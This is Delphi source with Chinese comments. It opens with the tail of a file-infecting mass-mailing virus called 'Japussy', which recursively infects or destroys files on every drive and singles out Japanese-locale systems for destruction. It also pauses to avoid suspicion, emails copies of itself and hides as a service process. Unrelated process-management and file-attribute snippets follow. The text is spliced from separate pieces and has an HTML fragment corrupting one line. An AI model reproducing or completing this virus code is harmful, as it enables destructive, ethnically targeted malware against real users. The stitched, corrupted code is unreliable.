SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if
IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if
GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for
i font>:= Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if
IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?汤姆感激不尽!
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.



uses TLHelp32,PsAPI;

///////////////////////////
//(1)显示进程列表:
///////////////////////////
procedure TForm1.Button2Click(Sender: TObject);
var lppe: TProcessEntry32;
found : boolean;
Hand : THandle;
P:DWORD;
s:string;
begin
ListBox1.Items.Clear ;
Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
found := Process32First(Hand,lppe);
while found do
begin
s := StrPas(lppe.szExeFile);
if lppe.th32ProcessID>0 then
p := lppe.th32ProcessID
else
p := 0;
ListBox1.Items.AddObject(s,pointer(p));//列出所有进程。
found := Process32Next(Hand,lppe);
end;
end;

///////////////////////////
//(2)杀死某进程:
///////////////////////////
procedure TForm1.Button3Click(Sender: TObject);
var lppe: TProcessEntry32;
found : boolean;
Hand : THandle;
P:DWORD;
sExeFile,sSelect:string;
killed:boolean;
begin
p :=DWORD(ListBox1.Items.Objects[ListBox1.itemindex]);
if P<>0 then
begin
killed := TerminateProcess(OpenProcess(PROCESS_TERMINATE,False,P),$FFFFFFFF);
if not killed then
messagebox(self.handle,pchar(sExeFile+'无法杀死!'),'提示',MB_OK or MB_ICONWARNING)
else
ListBox1.Items.Delete(ListBox1.ItemIndex);
end;
end;

///////////////////////////
//(3)取得某进程EXE路径:
///////////////////////////
procedure TForm1.Button8Click(Sender: TObject); //uses PSAPI;
var
h:THandle; fileName:string; iLen:integer; hMod:HMODULE;cbNeeded,p:DWORD;
begin
p :=DWORD(ListBox1.Items.Objects[ListBox1.itemindex]);
h := OpenProcess(PROCESS_ALL_ACCESS, false, p); //p 为 进程ID
if h > 0 then
begin
if
EnumProcessModules( h, @hMod, sizeof(hMod), cbNeeded) then
begin
SetLength(fileName, MAX_PATH);
iLen := GetModuleFileNameEx(h, hMod, PCHAR(fileName), MAX_PATH);
if iLen <> 0 then
begin
SetLength(fileName, StrLen(PCHAR(fileName)));
ShowMessage(fileName);
end;
end;
CloseHandle(h);
end;
end;

///////////////////////////
//(4)取得窗口列表
///////////////////////////
begin
ListBox1.Items.Clear ;
EnumWindows(@EnumWindowsProc, 0);
end;

///////////////////////////
//(5)杀死窗口进程
///////////////////////////
procedure TForm1.Button6Click(Sender: TObject);
var
H:THandle;
P:DWORD;
s:string;
killed:boolean;
begin
s := ListBox1.Items[ListBox1.ItemIndex];
H:=FindWindow(nil,pchar(s));
if H<>0 then
begin
GetWindowThreadProcessId(H,@P);
if P<>0 then
killed:=TerminateProcess(OpenProcess(PROCESS_TERMINATE,False,P),$FFFFFFFF);
if not killed then
messagebox(self.handle,pchar(s+'无法杀死!'),'提示',MB_OK or MB_ICONWARNING)
else
ListBox1.Items.Delete(ListBox1.ItemIndex);
end;
end;

///////////////////////////
//(6)取得窗口进程路径:
///////////////////////////
procedure TForm1.Button9Click(Sender: TObject);
var
H:THandle; P,cbNeeded: DWORD; s,fileName:string;
iLen:integer; hMod:HMODULE;
begin
s := ListBox1.Items[ListBox1.ItemIndex];
H:=FindWindow(nil,pchar(s));

if H<>0 then
begin
GetWindowThreadProcessId(H,@P);
if P<>0 then
begin
h := OpenProcess(PROCESS_ALL_ACCESS, false, p); //p 为 进程ID
if h > 0 then
begin
if
EnumProcessModules( h, @hMod, sizeof(hMod), cbNeeded) then
begin
SetLength(fileName, MAX_PATH);
iLen := GetModuleFileNameEx(h, hMod, PCHAR(fileName), MAX_PATH);
if iLen <> 0 then
begin
SetLength(fileName, StrLen(PCHAR(fileName)));
ShowMessage(fileName);
end;
end;
CloseHandle(h);
end;
end;
end;
end;

///////////////////////////
//(7)文件属性:
///////////////////////////
procedure TForm1.Button1Click(Sender: TObject);
var
SR: TSearchRec;
V1, V2, V3, V4: integer ;
const
dtFmt:string = 'YYYY-MM-DD HH:NN:SS';
begin
// 方法一
if FindFirst(sFileName, faAnyFile, SR) = 0 then
begin
Edit1.Text := intToStr(SR.Attr); //文件属性
Edit2.Text := intToStr(SR.Size); //文件大小
Edit3.Text := FormatDateTime(dtFmt,CovFileDate(SR.FindData.ftCreationTime)); //创建时间
Edit4.Text := FormatDateTime(dtFmt,CovFileDate(SR.FindData.ftLastWriteTime)); //最后修改时间
Edit5.Text := FormatDateTime(dtFmt,CovFileDate(SR.FindData.ftLastAccessTime)); //最后访问时间

if SR.Attr and faHidden <> 0 then
FileSetAttr(sFileName, SR.Attr-faHidden);

FindClose(SR);
end;

if GetFileVersion(sFileName,V1, V2, V3, V4) then
Edit7.Text := intToStr(v1)+'.'+intToStr(v2)+'.'+intToStr(v3)+'.'+intToStr(v4);
end;

// 方法二
{
var
Attrs: Word;
f: file of Byte; // 文件大小 必须要 定义为" file of byte" ,这样才能取出 bytes
size: Longint;

//文件属性
Attrs := FileGetAttr(sFileName);

Edit1.Text := intToStr(Attrs);

//文件大小
AssignFile(f, OpenDialog1.FileName);
Reset(f);
try
AssignFile(f, sFileName);
Reset(f);
size := FileSize(f);
Edit2.Text := intToStr(size);
finally
CloseFile(f);
end;
}

///////////////////////////
//(8)判断程序是否在运行:
///////////////////////////
procedure TForm1.Button5Click(Sender: TObject);
var PrevInstHandle:Thandle;
AppTitle:pchar;
begin
AppTitle := pchar('test');
PrevInstHandle := FindWindow(nil, AppTitle);
if PrevInstHandle <> 0 then begin
if
IsIconic(PrevInstHandle) then
ShowWindow(PrevInstHandle, SW_RESTORE)
else
BringWindowToTop(PrevInstHandle);
SetForegroundWindow(PrevInstHandle);
end;
end;